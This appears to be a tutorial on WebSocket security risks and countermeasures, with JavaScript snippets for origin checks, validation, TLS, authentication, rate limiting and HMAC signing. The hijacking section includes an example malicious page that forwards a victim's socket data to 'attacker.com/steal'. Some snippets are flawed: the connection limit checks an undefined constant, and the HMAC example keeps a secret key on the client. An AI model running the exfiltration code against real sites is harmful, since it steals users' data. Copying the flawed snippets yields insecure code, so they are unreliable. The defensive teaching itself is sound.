While WebSocket provides efficient real-time communication capabilities, it also faces various security challenges. Understanding and addressing these security issues is crucial.
Major Security Risks
1. Cross-Site WebSocket Hijacking (CSWSH)
Problem Description: Attackers use user's logged-in state to establish WebSocket connections through malicious web pages, stealing sensitive data.
Attack Example:
html<!-- Malicious website --> <script> const ws = new WebSocket('wss://bank.example.com/account'); ws.onmessage = (event) => { // Send stolen data to attacker's server fetch('https://attacker.com/steal', { method: 'POST', body: event.data }); }; </script>
Solution:
javascript// Server-side verify Origin header const allowedOrigins = ['https://example.com']; wss.on('upgrade', (request, socket, head) => { const origin = request.headers.origin; if (!allowedOrigins.includes(origin)) { socket.destroy(); return; } // Continue WebSocket handshake });
2. Data Injection Attacks
Problem Description: Unverified data is processed directly, potentially leading to XSS, SQL injection, and other attacks.
Solution:
javascript// Client: Validate data before sending function sendSafeMessage(ws, message) { // Validate message format if (!isValidMessage(message)) { console.error('Invalid message format'); return; } // Escape special characters const safeMessage = sanitizeMessage(message); ws.send(JSON.stringify(safeMessage)); } // Server: Validate data after receiving wss.on('connection', (ws) => { ws.on('message', (data) => { try { const message = JSON.parse(data); // Validate message structure if (!validateMessageSchema(message)) { ws.close(1003, 'Invalid message format'); return; } // Handle message handleMessage(message); } catch (error) { ws.close(1002, 'Protocol error'); } }); });
3. Man-in-the-Middle Attacks
Problem Description: Attackers intercept and tamper with WebSocket communication.
Solution:
javascript// Always use WSS (WebSocket Secure) const ws = new WebSocket('wss://example.com/socket'); // Server-side configure SSL/TLS const httpsServer = https.createServer({ cert: fs.readFileSync('cert.pem'), key: fs.readFileSync('key.pem') }); const wss = new WebSocket.Server({ server: httpsServer });
4. Authentication and Authorization
Problem Description: Unauthorized users establish connections or access protected resources.
Solution:
javascript// Method 1: Pass token through URL parameters const ws = new WebSocket(`wss://example.com/socket?token=${token}`); // Server-side verify token wss.on('connection', (ws, request) => { const token = new URL(request.url, 'http://localhost').searchParams.get('token'); if (!verifyToken(token)) { ws.close(1008, 'Unauthorized'); return; } // Connection successful, handle business logic }); // Method 2: Pass authentication info through subprotocol const ws = new WebSocket('wss://example.com/socket', ['auth-token', token]); // Server-side verify subprotocol wss.on('connection', (ws, request) => { const protocols = request.headers['sec-websocket-protocol']; if (!protocols || !verifyProtocol(protocols)) { ws.close(1008, 'Unauthorized'); return; } });
5. Denial of Service (DoS) Attacks
Problem Description: Large number of malicious connections or large messages exhaust server resources.
Solution:
javascript// Limit connection count const MAX_CONNECTIONS = 1000; const connectionCount = new Map(); wss.on('connection', (ws, request) => { const ip = request.socket.remoteAddress; const count = connectionCount.get(ip) || 0; if (count >= MAX_CONNECTIONS_PER_IP) { ws.close(1008, 'Too many connections'); return; } connectionCount.set(ip, count + 1); ws.on('close', () => { const currentCount = connectionCount.get(ip) || 0; connectionCount.set(ip, Math.max(0, currentCount - 1)); }); }); // Limit message size const MAX_MESSAGE_SIZE = 1024 * 1024; // 1MB wss.on('connection', (ws) => { ws.on('message', (data) => { if (data.length > MAX_MESSAGE_SIZE) { ws.close(1009, 'Message too large'); return; } // Handle message }); }); // Limit message frequency const rateLimiter = new Map(); wss.on('connection', (ws, request) => { const ip = request.socket.remoteAddress; ws.on('message', (data) => { const now = Date.now(); const userMessages = rateLimiter.get(ip) || []; // Clean records from 1 minute ago const recentMessages = userMessages.filter(time => now - time < 60000); if (recentMessages.length >= 100) { // Max 100 messages per minute ws.close(1008, 'Rate limit exceeded'); return; } recentMessages.push(now); rateLimiter.set(ip, recentMessages); // Handle message }); });
6. Message Integrity Verification
Problem Description: Messages are tampered with during transmission.
Solution:
javascript// Use HMAC to verify message integrity const crypto = require('crypto'); const SECRET_KEY = 'your-secret-key'; function signMessage(message) { const hmac = crypto.createHmac('sha256', SECRET_KEY); hmac.update(JSON.stringify(message)); return hmac.digest('hex'); } function verifyMessage(message, signature) { const expectedSignature = signMessage(message); return crypto.timingSafeEqual( Buffer.from(signature), Buffer.from(expectedSignature) ); } // Client sends message const message = { type: 'chat', content: 'Hello' }; const signature = signMessage(message); ws.send(JSON.stringify({ message, signature })); // Server verifies message wss.on('connection', (ws) => { ws.on('message', (data) => { const { message, signature } = JSON.parse(data); if (!verifyMessage(message, signature)) { ws.close(1002, 'Invalid signature'); return; } // Handle message }); });
Security Best Practices
- Use WSS: Always use encrypted WebSocket connections
- Verify Origin: Server-side verify request source
- Input Validation: Strictly validate all input data
- Output Encoding: Properly encode output data
- Authentication Authorization: Implement comprehensive authentication and authorization mechanisms
- Rate Limiting: Prevent DoS attacks
- Logging: Record all connections and messages for auditing
- Regular Updates: Update WebSocket libraries and dependencies in time
- Security Headers: Set appropriate security response headers
- Monitoring Alerting: Monitor abnormal behavior in real-time and alert promptly